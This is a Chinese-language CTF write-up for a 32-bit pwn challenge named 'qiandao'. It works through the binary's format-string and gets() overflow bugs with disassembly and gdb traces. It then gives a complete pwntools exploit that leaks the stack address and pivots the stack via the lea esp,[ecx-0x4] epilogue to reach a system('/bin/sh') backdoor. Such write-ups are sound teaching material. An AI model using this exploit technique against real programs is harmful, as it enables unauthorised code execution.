我之前不知道自己有多菜,然后参加了比赛才知道。。。。。菜的无底线,还请时钟大佬原谅
IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-28h]
char s; // [esp+10h] [ebp-18h]
init();
puts("what's your name:");
gets(&s);
printf(&s);
puts("\nCan you solve this sign-in problem?");
gets(&v4);
return 0;
backdoor:
.text:0804857D push ebp
.text:0804857E mov ebp, esp
.text:08048580 sub esp, 8
.text:08048583 sub esp, 0Ch
.text:08048586 push offset command ; "/bin/sh"
.text:0804858B call _system
.text:08048590 add esp, 10h
.text:08048593 leave
.text:08048594 retn
v4距离栈底0x28,s距离栈底0x18都很容易溢出
checksec
hunter@hunter:~/PWN/DASCTF$ checksec qiandao
[*] '/home/hunter/PWN/DASCTF/qiandao'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
基本操作
分析
在IDA中有两个很明显的漏洞:fmt漏洞 ,StackOverflow漏洞
当时我在做题的时候看到这两个漏洞,还有后门我觉这个题稳了。但是狡猾的出题人就时不会让我得偿所愿~·
我在构造溢出payload时总是无法跳转:payload = ’A’*0x28 + ‘AAAA’ + p32(backdoor),当场懵逼~
然后再gdb调试的时候才发现了万恶之源。
EAX: 0x0
EBX: 0x0
ECX: 0xffffd060 --> 0x1
EDX: 0xf7fb389c --> 0x0
ESI: 0xf7fb2000 --> 0x1d4d6c
EDI: 0x0
EBP: 0x0
ESP: 0xffffd04c --> 0xf7df5e81 (<__libc_start_main+241>: add esp,0x10)
EIP: 0x8048601 (<main+108>: lea esp,[ecx-0x4])
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485f8 <main+99>: mov eax,0x0
0x80485fd <main+104>: mov ecx,DWORD PTR [ebp-0x4]
0x8048600 <main+107>: leave
=> 0x8048601 <main+108>: lea esp,[ecx-0x4]
0x8048604 <main+111>: ret
0x8048605: xchg ax,ax
0x8048607: xchg ax,ax
0x8048609: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd04c --> 0xf7df5e81 (<__libc_start_main+241>: add esp,0x10)
0004| 0xffffd050 --> 0xf7fb2000 --> 0x1d4d6c
0008| 0xffffd054 --> 0xf7fb2000 --> 0x1d4d6c
0012| 0xffffd058 --> 0x0
0016| 0xffffd05c --> 0xf7df5e81 (<__libc_start_main+241>: add esp,0x10)
0020| 0xffffd060 --> 0x1
0024| 0xffffd064 --> 0xffffd0f4 --> 0xffffd2c2 ("/home/hunter/PWN/DASCTF/qiandao")
0028| 0xffffd068 --> 0xffffd0fc --> 0xffffd2e2 ("XDG_VTNR=7")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048601 in main ()
gdb-peda$
- 0x80485fd <main+104>: mov ecx,DWORD PTR [ebp-0x4] 将ebp-0x4处的数据值赋给了ecx
- 0x8048601 <main+108>: lea esp,[ecx-0x4] 将exc-0x4赋给esp
- ret pop ip 转跳
因为这里不是常规的leave ret结尾,常规栈溢出肯定无法实现。
通过上面三条关键语句的梳理可知:ebp-0x4里面的数据 赋给ecx。然后esp指向ecx-0x4处的地址,最后ret到那个地址。
所以控制ebp-0x4处的非常关键,决定了程序流程。
小错误
当时我也注意到了这个问题,然后就构造payload把ebp-0x4处的地址覆盖为:p32(backdoor)+0x4.这样0x8048601 <main+108>: lea esp,[ecx-0x4] 语句后 esp指向p32(backdoor)了,然后ret一下就成功了。
ECX: 0x8048581 (<backdoor+4>: in al,dx)
EDX: 0xf7fa189c --> 0x0
ESI: 0xf7fa0000 --> 0x1d4d6c
EDI: 0x0
EBP: 0x0
ESP: 0x804857d (<backdoor>: push ebp)
EIP: 0x8048604 (<main+111>: ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485fd <main+104>: mov ecx,DWORD PTR [ebp-0x4]
0x8048600 <main+107>: leave
0x8048601 <main+108>: lea esp,[ecx-0x4]
=> 0x8048604 <main+111>: ret
0x8048605: xchg ax,ax
0x8048607: xchg ax,ax
0x8048609: xchg ax,ax
0x804860b: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0x804857d (<backdoor>: push ebp)
0004| 0x8048581 (<backdoor+4>: in al,dx)
0008| 0x8048585 (<backdoor+8>: or al,0x68)
0012| 0x8048589 (<backdoor+12>: add al,0x8)
0016| 0x804858d (<backdoor+16>: (bad))
0020| 0x8048591 (<backdoor+20>: les edx,FWORD PTR [eax])
0024| 0x8048595 (<main>: lea ecx,[esp+0x4])
0028| 0x8048599 (<main+4>: and esp,0xfffffff0)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048604 in main ()
看,esp确实指向了backdoor。说明我都想法还是挺不错的,但是事实很残酷,在执行lea esp,[ecx-0x4]后esp就指向了backdoor(0x804857d ),相当于将backdoor以下都是为栈中数据,由于NX保护无法执行。可以看到那些指令都被拆分了,没有成型的system语句。
因此我们要做的就是在ret时仅仅把backdoor首地址 pop到ip中 而不是让esp直接指向backdoor
策略
将backdoor地址放入某个栈中,调节ecx,使得esp可以左后指向这个栈地址,然后ret 将该栈中地址pop入ip。这样esp将会指向下一个栈帧,同时ip存入了backdoor地址
思路
- 利用fmt漏洞泄露栈地址
- 根据相对位移调节ebp-0x4地址里,应该放入的值
泄露栈地址
泄露栈地址最好先用gdb搞清楚栈分布,在printf处下断点
EBP: 0xffffd048 --> 0x0
ESP: 0xffffd010 --> 0xffffd030 ("AAAA.%1$p.%2$p.%5$p.%8$p")
EIP: 0x80485d1 (<main+60>: call 0x80483e0 <printf@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485ca <main+53>: sub esp,0xc
0x80485cd <main+56>: lea eax,[ebp-0x18]
0x80485d0 <main+59>: push eax
=> 0x80485d1 <main+60>: call 0x80483e0 <printf@plt>
0x80485d6 <main+65>: add esp,0x10
0x80485d9 <main+68>: sub esp,0xc
0x80485dc <main+71>: push 0x80486ac
0x80485e1 <main+76>: call 0x8048400 <puts@plt>
Guessed arguments:
arg[0]: 0xffffd030 ("AAAA.%1$p.%2$p.%5$p.%8$p")
[------------------------------------stack-------------------------------------]
0000| 0xffffd010 --> 0xffffd030 ("AAAA.%1$p.%2$p.%5$p.%8$p")
0004| 0xffffd014 --> 0xf7fb2000 --> 0x1d4d6c
0008| 0xffffd018 --> 0xffffd048 --> 0x0
0012| 0xffffd01c --> 0x80485ab (<main+22>: sub esp,0xc)
0016| 0xffffd020 --> 0xf7fb23fc --> 0xf7fb3200 --> 0x0
0020| 0xffffd024 --> 0x0
0024| 0xffffd028 --> 0x0
0028| 0xffffd02c --> 0x804865b (<__libc_csu_init+75>: add edi,0x1)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 3, 0x080485d1 in main ()
gdb-peda$ ni
AAAA.0xf7fb2000.0xffffd048.(nil).0x41414141
我的输入为AAAA.%1$p.%2$p.%5$p.%8$p,执行printf函数后结果为:AAAA.0xf7fb2000.0xffffd048.(nil).0x41414141
此时栈情况:
0000| 0xffffd010 --> 0xffffd030 ("AAAA.%1$p.%2$p.%5$p.%8$p")
0004| 0xffffd014 --> 0xf7fb2000 --> 0x1d4d6c off=1
0008| 0xffffd018 --> 0xffffd048 --> 0x0 off=2
0012| 0xffffd01c --> 0x80485ab (<main+22>: sub esp,0xc)
0016| 0xffffd020 --> 0xf7fb23fc --> 0xf7fb3200 --> 0x0
0020| 0xffffd024 --> 0x0
0024| 0xffffd028 --> 0x0
0028| 0xffffd02c --> 0x804865b (<__libc_csu_init+75>: add edi,0x1)
0032| 0xffffd030 ("AAAA.%1$p.%2$p.%5$p.%8$p") off=8
0036| 0xffffd034 (".%1$p.%2$p.%5$p.%8$p")
0040| 0xffffd038 ("p.%2$p.%5$p.%8$p")
0044| 0xffffd03c ("$p.%5$p.%8$p")
0048| 0xffffd040 ("5$p.%8$p")
0052| 0xffffd044 ("%8$p")
0056| 0xffffd048 --> 0x0
0060| 0xffffd04c --> 0xf7df5e81 (<__libc_start_main+241>: add esp,0x10)
0064| 0xffffd050 --> 0xf7fb2000 --> 0x1d4d6c
0068| 0xffffd054 --> 0xf7fb2000 --> 0x1d4d6c
0072| 0xffffd058 --> 0x0
0076| 0xffffd05c --> 0xf7df5e81 (<__libc_start_main+241>: add esp,0x10)
二者结合可以明显看出fmt漏洞规律。所以以后需要泄露栈地址,用fmt加gdb调试,泄露函数就用常规的偏移量。显然此处8是偏移量
我们在偏移为2的地方可以泄露ebp地址。
所以我们用第一个gets函数来泄露地址,那么用第二个gets函数来控制流程
流程
得到ebp地址,可以求出gets(&v4)中v4的地址(char v4; // [esp+0h] [ebp-28h]),然后我们直接在v4首地址放入p32(backdoor)在ebp-0x4地址处放入&v4+0x4
payload = p32(backdoor)
payload += ’A'*0x20
payload += p32(ebp-0x28+0x4)
EXP
from pwn import*
context.log_level = 'debug'
elf = ELF('qiandao')
backdoor = elf.symbols['backdoor']
sh = process('./qiandao')
print sh.recv()
payload = '%2$pAAA'
sh.sendline(payload)
ebp_addr = int(sh.recvuntil('AAA',drop=1),16)
print "ebp_addr==>"+str(hex(ebp_addr))
payload1 = p32(backdoor)
payload1 += 'A'*0x20
payload1 += p32(ebp_addr-0x28+0x4)
sh.sendline(payload1)
sh.interactive()
结果:
ebp_addr==>0xffef9ae8
[DEBUG] Sent 0x29 bytes:
00000000 7d 85 04 08 41 41 41 41 41 41 41 41 41 41 41 41 │}···│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000020 41 41 41 41 c4 9a ef ff 0a │AAAA│····│·│
00000029
[*] Switching to interactive mode
Can you solve this sign-in problem?
$ whoami
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Received 0x7 bytes:
'hunter\n'
hunter
$
对于lea esp,[ecx-0x4]
出现这个指令而不是leave说明这个程序应该是在64位下编译的32位程序,大佬说这是i386的平栈方式。main函数的ret,一旦覆盖大量的数据,就会导致栈顶地址出错。所以之前我一直认为是无法溢出成功的。因为一旦溢出大量数据,也会修改ECX的值,导致ESP的值出问题。
实际上在x64下编译的x86程序在ret前都会产生这一段代码。在我们使用栈溢出利用的时候,会导致栈帧出错。刚开始的初学者很容易一筹莫展(比如以前的我),因为无法完成一次EIP覆写。但是实际上,反复调试了几遍之后,就发现这道题并非不可利用。
其实既然ECX对ret时的ESP能产生直接影响,那么通过控制ECX也能间接控制ESP
只需要找到pop ecx 时候对应的栈顶,就能控制ECX。进而控制整个栈帧。
一般会利用这个指令来进行stack povit,栈迁移到bss段之类的